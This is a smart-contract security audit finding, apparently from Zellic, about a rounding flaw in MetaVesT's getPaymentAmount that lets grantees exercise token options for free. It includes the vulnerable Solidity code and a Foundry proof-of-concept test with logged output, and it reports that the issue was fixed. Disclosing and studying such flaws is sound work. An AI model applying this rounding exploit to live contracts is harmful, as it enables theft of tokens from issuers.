Assessment reports>Metavest>High findings>Possibility for users to buy tokens from MetaVesT for free
Category: Business Logic

Possibility for users to buy tokens from MetaVesT for free

High Severity
High Impact
High Likelihood

Description

MetaVesT has three different award types — vesting allocation, token-option allocation and restricted-token allocation.

  • If the award type is vesting allocation, the grantee does not need to pay to obtain the vested tokens, and the authority does not need to pay to withdraw the unvested tokens.

  • If the award type is token-option allocation, the grantee pays to obtain the vested tokens.

  • If the award type is restricted-token allocation, the authority pays to withdraw the unvested tokens.

The function getPaymentAmount is used to calculate the amount to pay. But due to rounding issues, the function may return zero, allowing users to buy tokens for free.

function getPaymentAmount(uint256 _amount) public view returns (uint256) {
    uint8 paymentDecimals = IERC20M(paymentToken).decimals();
    uint8 exerciseTokenDecimals = IERC20M(allocation.tokenContract).decimals();
    
    // Calculate paymentAmount
    uint256 paymentAmount;
    if (paymentDecimals >= exerciseTokenDecimals) {
        paymentAmount = _amount * exercisePrice / (10**exerciseTokenDecimals);
    } else {
        paymentAmount = _amount * exercisePrice / (10**exerciseTokenDecimals);
        paymentAmount = paymentAmount / (10**(exerciseTokenDecimals - paymentDecimals));
    }
    return paymentAmount;
}

Impact

The following proof-of-concept script is an example of a case where paymentDecimals is less than exerciseTokenDecimals:

function testAuditRounding() public {
    address vestingAllocation = createDummyTokenOptionAllocation();

    TokenOptionAllocation(vestingAllocation).confirmMilestone(0);
    vm.warp(block.timestamp + 50 seconds);
    vm.startPrank(grantee);
    // exercise max available
    ERC20Stable(paymentToken).approve(vestingAllocation, TokenOptionAllocation(vestingAllocation).getPaymentAmount(
        TokenOptionAllocation(vestingAllocation)
        .getAmountExercisable()
        )
    );
    
    console.log("before grantee's payment token balance:", ERC20Stable(paymentToken).balanceOf(grantee));
    console.log('before tokensExercised: ', TokenOptionAllocation(vestingAllocation).tokensExercised());

    for (uint i; i < 5; i++) {
        TokenOptionAllocation(vestingAllocation).exerciseTokenOption(1e11);
    }

    console.log("after grantee's payment token balance:", ERC20Stable(paymentToken).balanceOf(grantee));
    console.log('after tokensExercised: ', TokenOptionAllocation(vestingAllocation).tokensExercised());
    vm.stopPrank();
}

The following text is the result of the proof-of-concept script:

[PASS] testAuditRounding() (gas: 2475714)
Logs:
  before grantee\'s payment token balance: 10000000000000000000000000
  before tokensExercised:  0
  after grantee\'s payment token balance: 10000000000000000000000000
  after tokensExercised:  500000000000

Recommendations

Consider reverting the transaction if paymentAmount is zero.

Remediation

This issue has been acknowledged by MetaLeX Labs, Inc, and a fix was implemented in commit 2d59bb00.

Zellic © 2024Back to top ↑